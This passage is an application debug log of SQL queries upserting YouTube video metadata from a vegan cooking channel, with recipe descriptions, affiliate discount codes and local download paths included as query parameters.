"source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This video is all about eating high-protein, healthy and gluten-free vegan meals that are easy to make and totally yummy. I'll show you everything I eat in a week, over my weekend, and show you some of my favourite vegan, high-protein and gluten-free recipes. I’m a pretty active individual and do a lot of intense exercise every day so my goals right now look like lots of plant-based protein, building muscle and shedding fat, but not making myself miserable in the process! \n\nLasagna Soup — 500 cal, 24g protein, serves 4\n1 jar Pasta sauce\n6 Lasagna noodles (133 g), broken into pieces\n1.5 cups Red lentils, drained and rinsed\n1 medium Onion, chopped\n4 cloves Garlic, minced\n6 cups hot Water or broth\nsalt, pepper to taste\nSauté the onion and garlic in a large saucepan for a few minutes until translucent and fragrant. Add all remaining ingredients, stir to combine, cover and bring to a boil, then bring to medium-low and simmer for 12 to 15 minutes, until the lentils are soft and the noodles are al dente.\n\n\nCajun pasta 612 cal, 44g protein, serves 4— Recipe in this video! ➡️ \n\nBaked ‘Fried’ Rice — 455 cal, 23g protein, serves 4\n1½ cups jasmine rice\n2 cups veg broth\n2 tbsp soy sauce\n2 tbsp mirin\n1 tbsp garlic powder\n¾ tsp Chinese 5 spice\n1½ cups frozen peas carrots\n1 cup frozen edamame\n1 batch tofu scramble\nBlack pepper to taste\nChopped green onion for garnish\n1 tsp roasted sesame oil, for serving (optional)\n\n9x13 casserole dish\n\n1. Preheat oven to 400F\n2. Mix together all ingredients in the casserole dish except the green onions and sesame oil. Press the rice underneath the liquid, cover with foil or lid and bake for 40 mins.\n3. Check rice for doneness, if al dente cover again and bake for 5 to 7 minutes more.\n4. Remove from oven, uncover and let stand for 5 minutes. Serve in bowls, garnish with sesame oil and chopped green onion and enjoy\n\nButter Chickpeas Recipe here! ➡️\n(Be kind, it was one of my FIRST ever videos 😅)\n\n5 ingredient stir fry -- 470 cal, 27g protein, serves 2\n2 cups Edamame\n4 cups chopped veggies (broccoli, cabbage, carrot, etc)\n2 to 3 tbsp Soy sauce\n1 medium Onion, sliced \nGarlic cloves, 4 cloves\nSesame oil, salt, pepper, serve on brown rice ramen noodles\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat In a Week as a VEGAN! High-protein meals, easy & delicious", "5a4a9ccb-cfb0-4184-97c3-b643afda2c18", 1, [], false, "oZJWN2SsO8U", "https://www.youtube.com/watch?v=oZJWN2SsO8U", 215, "/downloads/downloads/alec/Steamy Vegan/2024-02-28 What I Eat In a Week as a VEGAN! High-protein meals, easy & delicious/What I Eat In a Week as a VEGAN! High-protein meals, easy & delicious [oZJWN2SsO8U].NA", false, false, false, 1, ~U[2024-02-28 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This video is all about eating high-protein, healthy and gluten-free vegan meals that are easy to make and totally yummy. I'll show you everything I eat in a week, over my weekend, and show you some of my favourite vegan, high-protein and gluten-free recipes. I’m a pretty active individual and do a lot of intense exercise every day so my goals right now look like lots of plant-based protein, building muscle and shedding fat, but not making myself miserable in the process! \n\nLasagna Soup — 500 cal, 24g protein, serves 4\n1 jar Pasta sauce\n6 Lasagna noodles (133 g), broken into pieces\n1.5 cups Red lentils, drained and rinsed\n1 medium Onion, chopped\n4 cloves Garlic, minced\n6 cups hot Water or broth\nsalt, pepper to taste\nSauté the onion and garlic in a large saucepan for a few minutes until translucent and fragrant. Add all remaining ingredients, stir to combine, cover and bring to a boil, then bring to medium-low and simmer for 12 to 15 minutes, until the lentils are soft and the noodles are al dente.\n\n\nCajun pasta 612 cal, 44g protein, serves 4— Recipe in this video! ➡️ \n\nBaked ‘Fried’ Rice — 455 cal, 23g protein, serves 4\n1½ cups jasmine rice\n2 cups veg broth\n2 tbsp soy sauce\n2 tbsp mirin\n1 tbsp garlic powder\n¾ tsp Chinese 5 spice\n1½ cups frozen peas carrots\n1 cup frozen edamame\n1 batch tofu scramble\nBlack pepper to taste\nChopped green onion for garnish\n1 tsp roasted sesame oil, for serving (optional)\n\n9x13 casserole dish\n\n1. Preheat oven to 400F\n2. Mix together all ingredients in the casserole dish except the green onions and sesame oil. Press the rice underneath the liquid, cover with foil or lid and bake for 40 mins.\n3. Check rice for doneness, if al dente cover again and bake for 5 to 7 minutes more.\n4. Remove from oven, uncover and let stand for 5 minutes. Serve in bowls, garnish with sesame oil and chopped green onion and enjoy\n\nButter Chickpeas Recipe here! ➡️\n(Be kind, it was one of my FIRST ever videos 😅)\n\n5 ingredient stir fry -- 470 cal, 27g protein, serves 2\n2 cups Edamame\n4 cups chopped veggies (broccoli, cabbage, carrot, etc)\n2 to 3 tbsp Soy sauce\n1 medium Onion, sliced \nGarlic cloves, 4 cloves\nSesame oil, salt, pepper, serve on brown rice ramen noodles\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat In a Week as a VEGAN! High-protein meals, easy & delicious", 1, nil, false, "oZJWN2SsO8U", "https://www.youtube.com/watch?v=oZJWN2SsO8U", "/downloads/downloads/alec/Steamy Vegan/2024-02-28 What I Eat In a Week as a VEGAN! High-protein meals, easy & delicious/What I Eat In a Week as a VEGAN! High-protein meals, easy & delicious [oZJWN2SsO8U].NA", false, ~U[2024-02-28 00:00:00Z]] 20:31:07.668 [debug] QUERY OK source="sources" db=0.5ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.670 [debug] QUERY OK source="media_items" db=1.8ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-25 00:00:00Z], 1] 20:31:07.673 [debug] QUERY OK source="media_items" db=2.4ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make some vegan high-protein pastas! You'll learn how to make Cajun pasta, Red Lentil pasta and Pesto pasta, all completely vegan, gluten-free AND high-protein! Being a high-protein vegan couldn't be easier these days!\n\nNeed more healthy, high-protein recipe inspiration? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nCraving more PASTA? This playlist is for you ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0PASTAS\u00A0\u00A0\n\n\nCAJUN PASTA — 612 cal, 44g protein, serves 4\n\n½ an onion, diced\n½ cup water, divided or 2 tbsp oil\n2 tbsp cajun seasoning, divided\n3 garlic cloves, diced\n2 bell peppers, cut in strips\n½ bag soy curls, rehydrated\n2 tbsp soy sauce\n2 plant-based spicy sausages, sliced into coins\n12 oz chickpea pasta\n2 tbsp nooch\n1 can diced tomatoes\n2½ cups veg broth\n½ cup silken tofu\n1 tbsp cornstarch\n\ncajun seasoning recipe mix all spices in a jar\n3 tbsp paprika\n2 tbsp garlic powder\n1 tbsp onion powder\n1 tbsp dried oregano\n1 tbsp dried thyme\n1 tbsp cayenne pepper\n1 tbsp black pepper\n\n1. In a large bowl toss the rehydrated soy curls in ½ tbsp of cajun seasoning and soy sauce and transfer to an air fryer basket or parchment lined baking sheet, Air fry for 18 minutes at 425F or bake for 40 mins at 400F.\n2. In a large deep skillet warm the water over medium high heat, and add the diced sausage. Cook for 5 to 7 minutes, flipping halfway until golden and cooked though. Remove from pan and set aside in a large bowl and cover to keep warm.\n3. Add the other ¼ cup water and warm until steaming, add diced onion and cook for 2 minutes, until golden and fragrant.\n4. Stir in the bell peppers, garlic and 1 tbsp cajun seasoning. Cook for 3 to 4 minutes until the peppers are becoming golden. Remove from skillet and add to the bowl of cooked sausage.\n5. In the same skillet add the uncooked pasta, remaining ½ tbsp cajun seasoning, nooch, veg broth and diced tomatoes. Stir to combine, cover and bring to boil.\n6. Then reduce heat to low and cook pasta for 10 to 12 mins, stirring occasionally to prevent pasta from sticking to bottom. Cook until pasta is al dente and sauce has thickened.\n7. While the sauce thickens, prepare the tofu slurry. In a bullet blender blend the tofu and cornstarch until combined. Pour the slurry in the pan along with the sausage and bell peppers. Stir to combine and continue cooking until sauce thickens.\n\nLENTIL & VEGGIE MARINARA — Serves 4 = 645 cal, 41g protein\n\n12 oz chickpea pasta noodles\n½ an onion, diced\n5 cloves garlic, minced\n1 tsp salt\n½ tsp black pepper\n1 tsp smoked paprika\n1 tsp garlic powder\n1 tsp onion powder\n1 small broccoli crown, cut into florets\n1 cup mushrooms, chopped\n1 cup split red lentils, rinsed\n1 red bell pepper, chopped\n3½ cups veggie broth or water\n2¾ cups marinara\n\n1. Sauté the onion and garlic in a large saucepan for 2 to 3 minutes until translucent and fragrant.\n2. Add all remaining ingredients, stir well to combine, and cover with a lid. Bring to a low boil then reduce to simmer, cooking for 12 to 15 minutes, until the lentils are soft and the pasta is al dente. Serve and garnish with fresh herbs and enjoy!\n\n\nPESTO PROTEIN PASTA — 35g protein, 480 cal, serves 3\n12 oz chickpea pasta, cooked according to package directions\n1 container silken tofu\n1 cup frozen edamame, thawed\n1 cup frozen peas, thawed\n2 tbsp nooch\n5 cloves garlic\nJuice of ½ a lemon\nHandful of fresh basil\nHandful of fresh cilantro\nSalt and pepper to taste\n\n1. Cook pasta according to package directions\n2. Meanwhile make the pesto sauce: to a blender add the tofu, edamame, peas, nooch, herbs, garlic, lemon juice, s + p and a few tbsp water as needed to help it blend.\n3. Once the noodles are cooked and drained (reserve 1 cup pasta water) pour in the blended pesto sauce and stir well to combine. Add pasta water if needed to thin out. Serve and garnish with extra herbs, lemon wedge and red chili flakes if desired.\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off you" <> ..., "VEGAN HIGH-PROTEIN PASTAS! Cajun Pasta, Red Lentil Pasta & Pesto Pasta", "a6eb054d-f5bc-49dd-a589-f86fc76acd74", 1, [], false, "3aNEnXCgYSg", "https://www.youtube.com/watch?v=3aNEnXCgYSg", 216, "/downloads/downloads/alec/Steamy Vegan/2024-02-25 VEGAN HIGH-PROTEIN PASTAS! Cajun Pasta, Red Lentil Pasta & Pesto Pasta/VEGAN HIGH-PROTEIN PASTAS! Cajun Pasta, Red Lentil Pasta & Pesto Pasta [3aNEnXCgYSg].NA", false, false, false, 1, ~U[2024-02-25 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Let's make some vegan high-protein pastas! You'll learn how to make Cajun pasta, Red Lentil pasta and Pesto pasta, all completely vegan, gluten-free AND high-protein! Being a high-protein vegan couldn't be easier these days!\n\nNeed more healthy, high-protein recipe inspiration? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nCraving more PASTA? This playlist is for you ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0PASTAS\u00A0\u00A0\n\n\nCAJUN PASTA — 612 cal, 44g protein, serves 4\n\n½ an onion, diced\n½ cup water, divided or 2 tbsp oil\n2 tbsp cajun seasoning, divided\n3 garlic cloves, diced\n2 bell peppers, cut in strips\n½ bag soy curls, rehydrated\n2 tbsp soy sauce\n2 plant-based spicy sausages, sliced into coins\n12 oz chickpea pasta\n2 tbsp nooch\n1 can diced tomatoes\n2½ cups veg broth\n½ cup silken tofu\n1 tbsp cornstarch\n\ncajun seasoning recipe mix all spices in a jar\n3 tbsp paprika\n2 tbsp garlic powder\n1 tbsp onion powder\n1 tbsp dried oregano\n1 tbsp dried thyme\n1 tbsp cayenne pepper\n1 tbsp black pepper\n\n1. In a large bowl toss the rehydrated soy curls in ½ tbsp of cajun seasoning and soy sauce and transfer to an air fryer basket or parchment lined baking sheet, Air fry for 18 minutes at 425F or bake for 40 mins at 400F.\n2. In a large deep skillet warm the water over medium high heat, and add the diced sausage. Cook for 5 to 7 minutes, flipping halfway until golden and cooked though. Remove from pan and set aside in a large bowl and cover to keep warm.\n3. Add the other ¼ cup water and warm until steaming, add diced onion and cook for 2 minutes, until golden and fragrant.\n4. Stir in the bell peppers, garlic and 1 tbsp cajun seasoning. Cook for 3 to 4 minutes until the peppers are becoming golden. Remove from skillet and add to the bowl of cooked sausage.\n5. In the same skillet add the uncooked pasta, remaining ½ tbsp cajun seasoning, nooch, veg broth and diced tomatoes. Stir to combine, cover and bring to boil.\n6. Then reduce heat to low and cook pasta for 10 to 12 mins, stirring occasionally to prevent pasta from sticking to bottom. Cook until pasta is al dente and sauce has thickened.\n7. While the sauce thickens, prepare the tofu slurry. In a bullet blender blend the tofu and cornstarch until combined. Pour the slurry in the pan along with the sausage and bell peppers. Stir to combine and continue cooking until sauce thickens.\n\nLENTIL & VEGGIE MARINARA — Serves 4 = 645 cal, 41g protein\n\n12 oz chick (truncated) 20:31:07.675 [debug] QUERY OK source="sources" db=1.2ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.677 [debug] QUERY OK source="media_items" db=1.7ms idle=8.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-22 00:00:00Z], 1] 20:31:07.694 [debug] QUERY OK source="media_items" db=14.8ms queue=0.1ms idle=10.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm showing you how to make the best homemade protein bars that taste incredible! These homemade protein bars have 19g of protein per bar, are vegan, gluten-free, low sugar and are made with nutrient dense whole plant foods. Plus they taste AMAZING! 🤤\n\nI've tried quite a few protein powders and my 2 faves are from Sprout Living and Good Protein. I love using Chocolate Maca or Complete Coffee from Sprout Living or if you're in Canada then try out Good Protein's Mint Chocolate, Chocolate or Mocha flavors. Use my discount codes below to save a little bit extra which I do receive a small commission from your purchase as these are affiliate codes, really helps me to create more content like this.\n\n💪🏼 My Fave Protein Powders for This Recipe 💪🏼\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nStill got a sweet tooth? Watch my SWEET TREATS playlist ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0 OR my CHOCOLATE LOVERS playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0CHOCOLATE\u00A0LOVERS\u00A0\u00A0\n\nVEGAN PROTEIN BAR RECIPE Serves 8, 19g protein, 296 cal\n\n2 tbsp maple syrup\n4 fluid ounce (about ⅓ cup) unsweetened sunflower butter, or any nut or seed butter you like\n¼ cup, oat flour\n¼ cup, unsweetened soy milk (or any other plant milk)\n½ cup hemp hearts\n4 scoops (144g) Mocha Superfood Protein Powder (from Good Protein), or chocolate flavour\n2 tbsp ground flaxseed\n2 tbsp, cocoa powder, sifted\n¾ cup cold water\n\nI recommend using either a stand mixer or food processor as the mixture becomes quite thick, otherwise you can stir everything in a large bowl and get a nice arm workout!\n\n1. In a large stand mixer bowl add the maple syrup, soy milk and sunflower butter and mix on medium speed until a smooth, creamy texture forms.\n2. Add the oat flour, mocha protein powder and cocoa powder and continue mixing at a medium-low speed.\n3. While it's mixing, add the hemp hearts, ground flaxseed and slowly pour in the cold water ¼ cup at a time until the mixture becomes very thick but with. no clumps remaining. You don't want runny or too soft.\n4. Transfer the mixture to a parchment lined rectangular dish like a loaf pan and flatten it into an even layer with a spatula. Garnish with shredded dark chocolate, coconut or cocoa powder or drizzle melted chocolate over top and freeze for 2 hours until firmed up but not completely solid.\n5. Cut into 8 even bars and enjoy!\nTIP: I like to keep my bars in the freezer after they've been cut to preserve them for longer and to give them a good solid texture. Let them thaw at room temp for 5 to 10 minutes before enjoying!\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available in the US and internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Homemade Protein Bars! 💪🏼 Vegan, Gluten-Free, Low Sugar", "fac18d18-0129-4fe4-908e-314729c08512", 1, [], false, "x0hzNREZpN0", "https://www.youtube.com/watch?v=x0hzNREZpN0", 217, "/downloads/downloads/alec/Steamy Vegan/2024-02-22 Homemade Protein Bars! 💪🏼 Vegan, Gluten-Free, Low Sugar/Homemade Protein Bars! 💪🏼 Vegan, Gluten-Free, Low Sugar [x0hzNREZpN0].NA", false, false, false, 1, ~U[2024-02-22 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I'm showing you how to make the best homemade protein bars that taste incredible! These homemade protein bars have 19g of protein per bar, are vegan, gluten-free, low sugar and are made with nutrient dense whole plant foods. Plus they taste AMAZING! 🤤\n\nI've tried quite a few protein powders and my 2 faves are from Sprout Living and Good Protein. I love using Chocolate Maca or Complete Coffee from Sprout Living or if you're in Canada then try out Good Protein's Mint Chocolate, Chocolate or Mocha flavors. Use my discount codes below to save a little bit extra which I do receive a small commission from your purchase as these are affiliate codes, really helps me to create more content like this.\n\n💪🏼 My Fave Protein Powders for This Recipe 💪🏼\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nStill got a sweet tooth? Watch my SWEET TREATS playlist ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0 OR my CHOCOLATE LOVERS playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0CHOCOLATE\u00A0LOVERS\u00A0\u00A0\n\nVEGAN PROTEIN BAR RECIPE Serves 8, 19g protein, 296 cal\n\n2 tbsp maple syrup\n4 fluid ounce (about ⅓ cup) unsweetened sunflower butter, or any nut or seed butter you like\n¼ cup, oat flour\n¼ cup, unsweetened soy milk (or any other plant milk)\n½ cup hemp hearts\n4 scoops (144g) Mocha Superfood Protein Powder (from Good Protein), or chocolate flavour\n2 tbsp ground flaxseed\n2 tbsp, cocoa powder, sifted\n¾ cup cold water\n\nI recommend using either a stand mixer or food processor as the mixture becomes quite thick, otherwise you can stir everything in a large bowl and get a nice arm workout!\n\n1. In a large stand mixer bowl add the maple syrup, soy milk and sunflower butter and mix on medium speed until a smooth, creamy texture forms.\n2. Add the oat flour, mocha protein powder and cocoa powder and continue mixing at a medium-low speed.\n3. While it's mixing, add the hemp hearts, ground flaxseed and slowly pour in the cold water ¼ cup at a time until the mixture becomes very thick but with. no clumps remaining. You don't want runny or t (truncated) 20:31:07.696 [debug] QUERY OK source="sources" db=1.5ms idle=24.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.699 [debug] QUERY OK source="media_items" db=2.6ms idle=23.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-20 00:00:00Z], 1] 20:31:07.703 [debug] QUERY OK source="media_items" db=2.3ms idle=24.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm showing you how to make HEALTHY DESSERTS! My protein balls, brownies and chocolate mousse are all super healthy, high-protein, vegan AND gluten-free! Check out the full recipes below 🤎\n\nGOOD PROTEIN: Want to try my favourite vegan and gluten-free protein powder that I used in this video? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nStill got a sweet tooth? Watch my SWEET TREATS playlist ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0 OR my CHOCOLATE LOVERS playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0CHOCOLATE\u00A0LOVERS\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nBLACK FOREST BLISS BALLS (291 cal, 12g protein, 35g carbs, 9g fat — per 3 balls)\n\n1 can black beans, drained and rinsed\n7 prunes or medjool dates\n1 cup frozen cherries, thawed PLUS ½ cup extra, chopped\n¾ cup almond flour\n⅓ cup rolled oats\n½ cup cocoa powder\n½ tsp vanilla\n½ tsp cinnamon\n3 tbsp liquid sweetener\nPinch of salt\nOptional: Shredded dark chocolate, cocoa powder or coconut for rolling\n\nTo make higher in protein, sub ½ cup almond flour with chocolate protein powder (288 cal, 18g protein, 35g carbs, 6g fat)\n\nAdd all ingredients (minus extra ½ cup cherries) to a food processor and blend on high speed until a sticky dough is formed. Remove the blade and stir in the remaining chopped cherries.\nRoll into 2 tbsp sized balls and roll in grated chocolate. Chill for 1 hour before serving and enjoy!\n\nRED LENTIL BROWNIES (serves 12, 241 cal, 9g protein)\n½ cup oat flour\n10- pitted dates, soaked\n½ cup cocoa powder\n½ tsp Pink Himalayan Salt\n1 tsp baking powder\n1 tsp baking soda\n2 tbsp ground flax seed (flax eggs)\n1 medium baked sweet potato\n1½ cups dry red lentils, soaked overnight\n1 tsp vanilla\n1 tsp cinnamon\n½ cup plant milk\n\n1. Preheat oven to 350° F (200°C) and line a 9\"x9\" baking tin with parchment paper.\n2. In the bowl of a food processor, add the sweet potato flesh (skins removed), soaked dates, lentils, vanilla, and plant milk and process until completely smooth, about 2 minutes.\n3. In a separate large bowl, sift and combine the oat flour, cocoa powder, sea salt, baking powder and baking soda and then add to the wet ingredients in the food processor. Process once again until a completely smooth batter forms.\n4. Transfer the batter into the lined baking tin, smooth into an even layer and bake for 35 to 40 minutes, until slightly firm to the touch.\n5. Let cool completely — in the meantime make the chocolate sauce: in a small bowl whisk together all the sauce ingredients until it forms a shiny liquid mixture. Pour over the brownies and smooth out with a spatula. Cut into 9 even squares and enjoy!\n\nCHOCOLATE CHIA MOUSSE (serves 3, 343 cal, 22g protein)\n1 container (528 grams), silken tofu\n1 tsp vanilla extract\n6 tbsp chia seeds\n1 scoop (36 grams) chocolate or mocha protein powder\n2 tbsp cocoa powder\n2 tbsp maple syrup or date syrup\n\nAdd all ingredients to a high-speed blender and blend until its a smooth and thick liquid mixture. Pour into 3 glasses and chill in the fridge for 30 minutes before serving. Enjoy!\n\n--------------------------------------------------------------------------------------------------------------------\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvega" <> ..., "HEALTHY DESSERTS! Protein Balls, Brownies and Chocolate Mousse 🤎", "9e6d7367-4308-4f79-875a-cfd52f334867", 1, [], false, "095E8OgYOII", "https://www.youtube.com/watch?v=095E8OgYOII", 218, "/downloads/downloads/alec/Steamy 